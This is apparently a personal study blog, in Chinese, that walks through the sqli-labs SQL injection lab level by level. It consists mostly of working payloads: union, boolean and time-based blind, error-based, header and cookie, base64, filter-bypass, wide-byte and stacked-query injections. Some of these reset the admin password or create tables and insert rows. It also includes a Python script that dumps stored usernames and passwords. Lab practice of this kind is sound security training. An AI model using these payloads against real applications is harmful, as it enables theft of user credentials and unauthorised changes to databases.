忆昔子~
for me

sqli-labs

2025-07-07

前10关都是Get方式

Less-1 联合注入–单引号字符型注入

1.我们可以使用\(转义字符)来判断SQL注入的闭合方式,判断注入类型。

分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。

1
2
?id=1\
#本题\后面是'

image-20250707111755696.png

2.我们再试试注释符,有回显

1
?id=1' --+

image-20250707101152524

3.找出列数

1
2
?id=1' order by 3 --+
#当我们查询到4的时候,出现报错,说明只有3列

image-20250707101656693

4.我们需要继续找出显示位

1
2
?id=-1'union select 1,2,3--+
#第2,3列是显示位

image-20250707102027079

5.爆出数据名和版本号

1
?id=-1'union select 1,database(),version()--+

image-20250707102254900

6.爆表名

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有一个表名。

1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

image-20250707103537759

有4个表名

7.爆字段名

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20250707103936765

8.查询字段内容

1
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

image-20250707104552381

Less-2 联合注入–数字型注入

1.和Less-1一样的方法

1
2
?id=1\
#\后没有东西,所以是数字型注入,数字型不考虑注释符

image-20250707112501428

2,后面的步骤和前面一样

1
2
3
4
5
6
7
8
9
10
11
?id=1 order by 3

?id=-1 union select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1 union select 1,2,group_concat(id,username,password) from users

image-20250707114334015

Less-3 联合注入–单引号变形字符型注入

1.判断闭合符

1
2
?id=1\
#\后面是')

image-20250707114444997

2.考虑注释符

1
2
?id=1')--+
#回显成功

image-20250707114633663

3.后面还是一样的步骤

1
2
3
4
5
6
7
8
9
10
11
?id=-1') order by 3--+

?id=-1') union select 1,2,3--+

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1') union select 1,2,group_concat(id,username,password) from users--+

image-20250707150720035

Less-4 联合注入–双引号变形字符型注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
?id=1\
#得到闭合符是")

?id=1")--+
#成功回显

?id=-1") order by 3--+

?id=-1") union select 1,2,3--+

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1") union select 1,2,group_concat(id,username,password) from users--+

Less-5 布尔盲注

在这一题,发现不管我们输入什么,页面都不会发生变化,不会回显,所以不能使用联合注入,这里我们采用布尔盲注

1.length()函数确定长度

2.substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。

3.ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
?id=1\
#闭合符是'

?id=1'and length((select database()))>9--+
#页面在我们输入8的时候开始变化,所以数据库名长度是8

?id=1'and ascii(substr((select database()),1,1))=115--+
#我们依次测,得到8个字母拼接的数据名是security

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>30--+
#判断所有表名字符长度。29出现变化,说明有29个字符

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
#得到所有表名

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
#逐一判断字段名

?id=1' and length((select group_concat(username,password) from users))>109--+
#判断字段内容长度


?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
#逐一检测内容。

有点麻烦,可以用脚本

Python自动化sql注入:布尔盲注_布尔盲注脚本-CSDN博客

Less-6

1
2
?id=1\
#闭合符是"

把less-5所有中所有单引号变成双引号

Less-7

这题不能用转义字符,用其他方法判断

1.当我们依次输入1,1’,1”时,1’出现报错,根据报错信息,说明是单引号字符型注入

1
?id=1'

2.判断闭合方式

1
?id=1'))--+

3.把less-5中的’变成’))就好了

Less-8

1.当我们依次输入1,1’,1”时,1’出现错误页面,根据报错信息,说明是单引号字符型注入

2.后面步骤和less-5一样

Less-9 时间盲注

布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
?id=1' and if(1=1,sleep(5),1)--+
#判断参数构造。

?id=1'and if(length((select database()))>7,sleep(5),1)--+
#判断数据库名长度,当数据为>8时,浏览器反应了5秒,说明是8个字符

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
#逐一判断数据库字符,反应了5秒,说明数据库名的第一个字符是s

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>30,sleep(5),1)--+
#判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
#逐一判断表名


?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
#判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
#逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
#判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
#逐一检测内容。

Less-10

1
2
3
4
5
?id=1' and if(1=1,sleep(5),1)--+
#立即反应了,说明不是单引号字符型注入
?id=1" and if(1=1,sleep(5),1)--+
#最后得到是双引号字符型注入。
之后的步骤和上题差不多了,把单引号变成双引号。

post方式

Less-11

到11题,页面显示的是登入页面,注入点就在输入框里面。

和前10关不一样,前10关知道id=1是正确的,id=-1一定是错误的,而Less11-Less20需要输入用户名和密码,且我们默认不知道用户名或者密码,所以我们需要借助or 1=1

image-20250708205358368

1.输入1’ 出现报错,根据报错是单引号字符型注入,然后输入一条恒成立的sql语句,注释符–+用不了了,我们用#

1
2
1' or 1=1#
闭合符是'

2.然后用联合注入(和之前一样的步骤)

1
2
3
4
5
6
1' union select 1,2 #
1' union select database(),version() #
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select 1,group_concat(id,username,password
) from users #

Less-12

1.输入1”出现报错,根据报错提示,说明是双引号字符型注入。

2.闭合方式

1
2
3
4
5
?id=1\
#\后面是"),所以得到闭合符是")

1") or 1=1 #
#回显成功,之后步骤和前面差不多

报错注入

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 语法: updatexml(XML_document,XPath_string,new_value)

*extractvalue()函数*

  • 从目标XML中返回包含所查询值的字符串

  • 语法:extractvalue(XML_document,xpath_string)

这2个函数都是当xpath_string格式出现错误,mysql会爆出xpath语法错误

floor()函数报错注入

  • 利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

  • 当count(*)和group by x同时执行时,就会爆出duplicate entry错误

  • eg:payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
判断是否存在报错注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#

爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

爆出user和password
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

Less-13

1.输入1\,得到闭合符是’),单引号字符型注入

2.输入恒成立等式

1
1') or 1=1 #

image-20250707215739316

但是页面没有回显,所以我们可以使用报错注入

1.爆库

1
1') union select 1,extractvalue(1,concat(0x7e,(select database()),0x7e))#

2.爆表名

1
1') union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

3.爆字段名

1
1') union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e))#

image-20250708152407506

4.查询字段

1
1') union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e))#

Less-14

1.输入1\,得到闭合符是”

2.后面步骤和less13差不多

Less-15

1.用恒成立的式子,找出本题的闭合符

1
1' or 1=1#

image-20250708195139292

显示成功,说明是单引号字符型注入

2.查找显示位,输入

1
1' union select 1,2 #

页面显示成功,但是没有回显,我们使用用布尔盲注

3.输入布尔盲注语句

or:任一条件为真即可

已知1是错误密码,所以or后面的语句如果是正确的,则会返回成功的页面

1
2
3
4
5
6
1' or  length((select database())) = 8 #

1'or ascii(substr((select database()),1,1))=115#
......

把前面less5的布尔语句的and变成or就好了

Less-16

1.和15一样的方法

闭合符是”)

Less-17

我们来到17题,页面发生了一些变化。查看了源码

如果user name框框中输入的是系统中不存在的用户名,则new password框框中不管包含单引号还是双引号,都不会报错;但如果user name框框中输入的是系统中存在的用户名,则new password框框中包含单引号会报错。

1
uname=admin&passwd=1' &submit=Submit

输入后,页面会报错,根据报错可以知道闭合符是单引号

输入报错注入语句

1
2
3
4
5
6
7
8
9
10
11
12
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#&submit=Submit

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#

1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
---MySQL 不允许在 UPDATE/DELETE 的子查询里直接引用正在操作的表,所以不能用这条语句。
1' and updatexml(1,concat(0x7e,(select * from (select group_concat(concat_ws('~',username,password)) from security.users) a),0x7e),1)#

concat_ws:带分隔符连接
concat:直接连接

1’ and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’^’,password)) from security.users),32,31),0x7e),1)#

Less-18 User Agent注入

1.随机输入admin/1 ,得到回显

2.根据回显,我们知道User Agent是有回显的,我们可以在这里输入

输入1’时,出现报错,单引号字符型注入

3.根据pikachu SQL注入 (皮卡丘漏洞平台通关系列)_pikachusql注入闯关hackbar-CSDN博客中http头注入,大概率可能是update语句或者insert语句,我们输入语句

相当于构造

WHERE user_agent=’[原始内容]’ or [注入代码] or ‘[未闭合]’

1
2
3
4
5
6
7
8
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1) or'

' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or'

Less-19 Referer注入

1.随机输入admin/1 ,得到回显

2.和上题差不多,回显字段在 Referer上

Less-20 cookie注入

和18,19差不多,输入正确的用户名和密码之后,返回的页面有User-Agent,客户端ip地址,cookie,用户名,密码,用户id等信息.

报错的位置和cookie有关

回显字段是cookie

无论 OR/AND,只要包含 updatexml() 就会先触发报错

Less-21

1.输入正确的用户名和密码后,发现cookie比上题多了一层base64

2.输入的语句也加一层base64

1
2
3
4
5
6
7
uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSksMSkgb3In

uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMHg3ZSksMSkgb3In

uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyksMHg3ZSksMSkgb3In

uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDdlKSwxKSBvcic=

Less-22

1.当输入admin”的base64加密 时,出现报错,根据报错知道是双引号字符型注入

但是语句有点变化,YOUR COOKIE : uname = YWRtaW4i and,我们输入的语句是在and前面,加or’ 就闭合不了了。需要把最后的 or ‘ 变成# ,再base64加密

2.看到cookie和上题一样,继续用base64试试

后面语句同理哈

Less-23 过滤了注释符的注入

又是Get注入了。

1.注入类型和闭合符

1
2
?id=1\
闭合符是单引号

2.当我使用–+注释时,依然报错,很明显,–+被过滤了

1
2
3
?id=1'--+
?id=1'#
?id=1'%20

3.可以前后都闭合

查看列数

1
?id=-1' union select 1,2,3'

爆库

1
?id=-1' union select 1,2,database()'

爆表

1
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')'

爆字段

1
?id=-1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')'

查询字段

1
?id=-1' union select 1,2,(select group_concat(id,username,password) from users)'

Less-24 二次注入

1.二次注入,查看登入页面的源码,对username、password进行了转义

注册页面的username、password、re_pass也都被转义了

重置密码处的username没有被转义,我们可以利用这里

2.注册新用户admin’#,密码随便输:123

不知道为什么,登入变成这样了

我找了一个sqli-labs靶场继续这关

2.前面的步骤一样,修改密码为456

3.然后以admin成功登入

Less-25 过滤了or,and 的注入

1.结合页面和输入内容被过滤的字符,这题过滤了or,and (大小写都被过滤)。

2.我们双写绕过

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
?id=1\
#闭合符是单引号

?id=1' oorrder by 3--+

?id=-1' union select 1,2,3--+

?id=-1' union select 1,2,database()--+

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(id,username,passwoorrd) from users--+

Less25a

1.回显成功,没有闭合符

1
?id=1 --+

2.payload和上面差不多。(把单引号闭合符删了)

Less-26 过滤了空格和注释符的注入

1.过滤了or , and , /* , – , # , 空格 ,/ , \ .

2.闭合符是单引号

过滤空格

  • 用+号替代
  • url编码(%A0,%0a,%0b,%0c,%0d,%09,&&替换and ||替代or)
  • 报错注入加括号,||连接

payload

1
2
3
4
5
6
7
8
9
10
11
?id=1'||extractvalue(1,concat(0x7e,database(),0x7e))||'

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e))||'

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1)||'
#extractvalue限制,只能查看32个字节。我们用substr

?id=1'||extractvalue(1,concat(0x7e,substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),32,31),0x7e))||'


?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(id,username,passwoorrd))from(security.users)),0x7e))||'

Less-26a

1.过滤内容

2.闭合符是’)

这关不显示具体报错了,不能使用报错注入了,可以用盲注,找了一个脚本

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://sqli-labs:8989/Less-26a/"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="users")),{i},1))>{mid},1,0)%23'
payload = f'if(ascii(substr((select(group_concat(id,username,passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100')||{payload}||('0"
}
r = requests.get(url,params=data)
if "Dumb" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

Less-27

1.闭合符是单引号

2.过滤的内容

3.大小写变异绕过union,select

payload

1
2
3
4
5
6
7
8
?id=1'||extractvalue(1,concat(0x7e,database(),0x7e))||'

?id=1'||extractvalue(1,concat(0x7e,(SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e))||'

?id=1'||extractvalue(1,concat(0x7e,substr((SelEct(group_concat(column_name))from(information_schema.columns)where(table_name='users')),32,31),0x7e))||'
#这里和26一样,需要用substr

?id=1'||extractvalue(1,concat(0x7e,(SelEct(group_concat(id,username,password))from(security.users)),0x7e))||'

Less-27a

1.过滤内容

和27差不多

2.闭合符是双引号

没有报错提示,不能用报错注入,那就用联合注入,借鉴这篇博客sqli-labs通关(less21~less30)_sqli less-21上传webshell-CSDN博客的payload

双引号前为1,不会回显union结果,我试了很多次都是这样,查找了原因

UNION结果合并机制

  • UNION规则:默认只返回唯一行,自动去除重复
  • id=1存在时
    • 主查询返回有效结果
    • UNION的select 1,2,3与主查询结果结构相同
    • 数据库引擎视其为重复行而去重
  • id=666不存在时
    • 主查询返回空结果集
    • UNION结果成为唯一输出

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#确认回显的列
?id=666"%0aununionion%0aSElect%0a1,2,3%0aand%0a"1"="1

#获取服务器上所有数据库的名称
?id=666"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand%0a"1"="1

#获取security数据库的所有表名称
?id=666"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),3%0aand%0a"1"="1

#获取security数据库users表的所有列名称
?id=666"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),3%0aand%0a"1"="1

#获取security数据库users表的id,username,password列的所有值
?id=666"%0aununionion%0aSElect%0a1,(SElect%0agroup_concat(id,username,password)%0afrom%0asecurity.users),3%0aand%0a"1"="1

Less-28

1.闭合符是’)

1
2
?id=1')%0Aor%0A('
#有回显

2.过滤的内容

union select 被过滤掉一个,所以双写这个

payload

1
2
3
4
5
6
7
8
9
?id=666')%0AUunion%0AselectNION%0ASELECT%0A1,2,3%0aand%0a('

?id=666')%0AUunion%0AselectNION%0ASELECT%0A1,(SElect%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata),3%0Aand%0A('

?id=666')%0AUNunion%0AselectION%0ASELECT%0A1,(SElect%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3%0Aand%0A('

?id=666')%0AUNunion%0AselectION%0ASELECT%0A1,(SElect%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'),3%0Aand%0A('

?id=666')%0AUNunion%0AselectION%0ASELECT%0A1,(SElect%0Agroup_concat(id,username,password)%0Afrom%0Asecurity.users),3%0Aand%0A('

Less-28a

1.闭合符还是’)

2.过滤内容

这题只对union select做了限制,上题的payload依然适用

Less-29

1.闭合符是单引号

2.这关我就这么水灵灵用无过滤的联合注入写完了,感觉没这么简单,我看了其他师傅的博客,知道了这题有一个新知识点服务器两层架构与HTTP参数处理-CSDN博客

1
2
3
4
5
6
7
8
9
?id=-1' union select 1,2,3--+

?id=-1' union select 1,2,database()--+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

所以payload

1
2
3
4
5
6
7
8
9
?id=1&id=-1' union select 1,2,3--+

?id=1&id=-1' union select 1,2,database()--+

?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=1&id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=1&id=-1' union select 1,2,group_concat(username ,id , password) from users--+

Less-30

  1. 闭合符是双引号
  2. 然后payload和29差不多

Less-31

1.闭合符是”)

2.payload和29差不多

Less-32 宽字节注入

原理

  • 比如使用%df’:会被PHP当中的addslashes函数转义为“ %df’ ”。

  • “ \ ”即url里面的“ %5c ”, “ ’ ”对应的url编码是“%27”,那么也就是说,“ %df’ ”会被转义“ %df%5c%27 ”

  • 倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为“ %df%5c%27 ”是一个宽字节。

  • “ %df%5c ”会结合(因为宽字节是占两个字节),也就是“縗” 。后面就有一个“ ’ ”。就造成了一个攻击效果。

https://blog.csdn.net/qq_46091464/article/details/105893529

宽字节注入

  • 常见使用的宽字节就是%df,其实当我们输入第一个ascill大于128就可以,转换是将其转换成16进制,eg:129转换0x81,然后在前面加上%就是%81
  • GBK首字节对应0x81-0xfe(129-239),尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)
  • 比如一些 %df’ %81’ %82’ %de’ 等等(只有满足上面的要求就可以)

1.闭合符是单引号

1
?id=1%df'

2.payload

本关payload中只有闭合单引号时用宽字节注入,其他涉及单引号的部分都要用字符的十六进制编码,否则会报错

1
2
3
4
5
6
7
8
9
?id=-1%df' union select 1,2,3--+

?id=-1%df' union select 1,2,database()--+

?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

?id=-1%df' union select 1,2,group_concat(id,username,password) from users--+

Less-33

这题也是用宽字节注入

1.闭合符是单引号

2.32的payload依然适用

Less-34

到这关变成post方式了,还是宽字节注入

1.我输入了admin%df’ ,没有报错,打开hackbar试试,发现%df’的%进行了url编码。我试试在hackbar上输入,我的hackbar不行,我再用burpsuite试试

2.闭合符是单引号

3.payload

1
2
3
4
5
6
7
8
9
uname=admin%df' order by 2--+&passwd=1&submit=Submit

uname=admin%df' union select 1,2--+&passwd=1&submit=Submit

uname=admin%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+&passwd=1&submit=Submit

uname=admin%df'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+&passwd=1&submit=Submit

uname=admin%df'union select 1,group_concat(id,username,password) from users--+&passwd=1&submit=Submit

Less-35

1.这关没有闭合符,数字型注入

2.虽然这关引号被转义了,打算这关不用宽字节

1
2
3
4
5
6
7
8
9
10
11
?id=-1 order by 3

?id=-1 union select 1,2,3

?id=-1 union select 1,2,database()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

?id=-1 union select 1,2,group_concat(id,username,password) from users

Less-36

1.闭合符是单引号

2.需要用宽字节,payload差不多

1
2
3
4
5
6
7
8
9
10
11
?id=-1%df'order by 3--+

?id=-1%df' union select 1,2,3--+

?id=-1%df' union select 1,2,database()--+

?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

?id=-1%df' union select 1,2,group_concat(id,username,password) from users--+

Less-37

1.这题和34题一样啊,闭合符是单引号

2.payload看34

Less-38 堆叠注入

1.闭合符是单引号

2.然后一个无绕过的联合注入payload就可以直接出

但是这关的知识点是堆叠注入哈

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

源码

3.输入测试语句,新建一个表test

1
?id=1' ;create table test like users --+

然后我们可以在后台看见

Less-39

1.这关没有闭合符,和38题差不多,我们给表test输入些内容

2.输入测试语句

1
2
3
?id=1 ; insert into test
(id,username,password)values
('11','aaa','123') --+

Less-40

1.闭合符是’)

2.跟38题差不多

2.输入测试语句

1
2
3
?id=1') ; insert into test
(id,username,password)values
('22','bbb','456') --+

Less-41

1.没有闭合符,和上面几题都差不多。

Less-42

1.页面非常像二次注入的那关,但是发现注册不了

2.尝试输入一些语句,发现password的输入框有注入点。

3.闭合符是单引号

4.列数和回显位

1
2
666' order by 3#
666' union select 1,2,3#

5,爆库

1
666' union select 1,database(),3#

爆表名

联合注入不行,用报错注入,有回显

1
666' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),3#

爆字段名

1
666' union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e)),3#

读字段

1
666' union select 1,extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)),3#

6.更简单的是直接使用堆叠注入修改密码

1
2
666'; update users set password='123' where username='admin' #

直接登入就好了

Less-43

1.闭合符是’)

2.payload和上题差不多,闭合符换一下

Less-44

1.这关没有报错,我们直接用堆叠注入

2.闭合符是单引号

1
666'or 1=1 # 

3.爆库

1
666' union select 1,database(),3#

4.修改密码

1
666'; update users set password='hhh' where username='admin' #

5.登入

Less-45

1.这关没有报错,闭合符是’)

1
666')or 1=1#

2.堆叠注入修改密码,和45差不多哈

Less-46 order by 注入

order by 注入

SQL注入-order by注入 - 1ink - 博客园

1.注入类型

1
2
?sort=rand()
排序发生变化,数字型注入

2.可以使用报错注入

1
?sort=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
1
2
3
?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+

?sort=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='users'),0x7e))--+

Less-47

1.判断注入类型

1
2
?sort=rand()
排序不发生变化,字符型注入。

2.闭合符是单引号

3.同样可以用报错注入,和46差不多

Less-48

1.数字型注入,但是这关没有报错,用盲注

2.order by 布尔盲注借助rand()函数

1
2
?sort=rand(0)
条件为假的顺序
1
2
?sort=rand(1)
条件为真的时候的顺序

然后继续输入盲注语句,

1
2
3
4
5
6
7
8
?sort=rand(length((select database()))=8)

?sort=rand(ascii(substr((select database()),1,1))=115)

?sort=rand(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=34)
…………

后面的语句差不多,就是把前面用的盲注语句,套上rand(),正确回显rand(1),错误回显rand(0),不写了^-^

Less-49

1.单引号字符型注入

1
?sort=1'--+

2.这关还是没有报错,继续用盲注,但是因为这关是字符型注入,rand()不会发生改变,我们就不能用rand了,我们用时间盲注

1
2
3
4
5
6
7
8
?sort=1' and if(length(database())=8),1,sleep(1))--+

?sort=1' and if(ascii(substr((select database()),1,1))=115,1,sleep(1))--+

?sort=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=34,1,sleep(1))--+

…………

Less-50

1.数字型注入

1
2
?sort=rand()
顺序改变

2.和46一样的报错注入payload

也可以堆叠注入,盲注

1
2
3
?sort=1 ; insert into test
(id,username,password)values
('33','ccc','789') --+

Less-51

1.单引号字符型注入

2.这关,报错,盲注,堆叠都能用

Less-52

1.数字型注入

2.这关没有报错,用盲注或者堆叠

Less-53

1.单引号字符型注入

2.这关时间盲注都没有反应。用堆叠注入

challenges

Less-54

咳咳,第一次尝试失败,指令打错了几次,呜呜呜

第二次

1
?id=1' --+
1
2
?id=1' order by 3--+
?id=-1' union select 1,2,3--+
1
2
3
4
5
6
7
8
?id=-1' union select 1,database(),3--+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='hfgzxyeenu'--+

?id=-1' union select 1,2,group_concat(id,sessid,secret_YLEG,tryy
) from hfgzxyeenu--+

Less-55

这关以闭合。和54差不多,单引号变成(

1
?id=1)--+

Less-56

1.闭合符是’)

1
?id=1')--+

2.payload和54差不多

Less-57

